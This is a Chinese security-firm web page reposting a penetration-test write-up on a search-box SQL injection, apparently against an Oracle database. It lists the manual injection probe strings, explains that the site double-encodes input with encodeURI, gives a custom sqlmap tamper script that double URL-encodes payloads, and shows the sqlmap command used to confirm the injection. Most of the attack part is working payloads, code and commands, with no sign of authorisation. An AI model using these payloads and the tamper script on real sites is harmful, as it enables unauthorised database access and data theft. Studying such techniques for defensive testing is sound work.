编写简单tamper绕过encode编码_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

编写简单tamper绕过encode编码

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


编写简单tamper绕过encode编码

编写简单tamper绕过encode编码   0x00  环境 遇到 一个搜索框 通过输入以下 内容: 123                                    返回正常 123%' and '%'='               返回正常 123%' and '%'=' a           返回 为空 123%‘--                            返回正常 123%' and (select 113 from dual)=123--  返回正常 初步判定 为 oracle的 搜索型注入 0x01 遇到问题 按照一般的做法截包然后提交给 sqlmap,但是奇怪的sqlmap竟然无法识别出注入点   截包看了下手工注入的数据包,发现%变成了%2525   因此考虑到url编码了 然后查看源码 &classcode="+classcode+"&keyName="+encodeURI(encodeURI(keyName))); 果然是encodeURI编码,并且是两次 0x02 解决问题 查看了下sqlmap自带的tamper,好像还没有针对这种的编码 于是 找了个最简单的 tamper做模板,简单修改了下代码,代码如下 #!/usr/bin/env python"""Copyright (c) 2006-2016 sqlmap developers ([url]http://sqlmap.org/[/url])See the file 'doc/COPYING' for copying permission"""import refrom urllib import quotefrom lib.core.data import kbfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():    passdef tamper(payload, **kwargs):    """    Replaces each keyword character with lower case value    Tested against:        * Microsoft SQL Server 2005        * MySQL 4, 5.0 and 5.5        * Oracle 10g        * PostgreSQL 8.3, 8.4, 9.0    Notes:        * Useful to bypass very weak and bespoke web application firewalls          that has poorly written permissive regular expressions        * This tamper script should work against all (?) databases    >>> tamper('INSERT')    'insert'    """    retVal = payload    retVal = quote(quote(retVal))            return retVal 然后sqlmap加载改 tamper sqlmap.py -r c:\tmp\1.txt -p keyName --random-agent --tamper urlencode2 sqlmap成功确认为 oracle注入 TCV:5

编写简单tamper绕过encode编码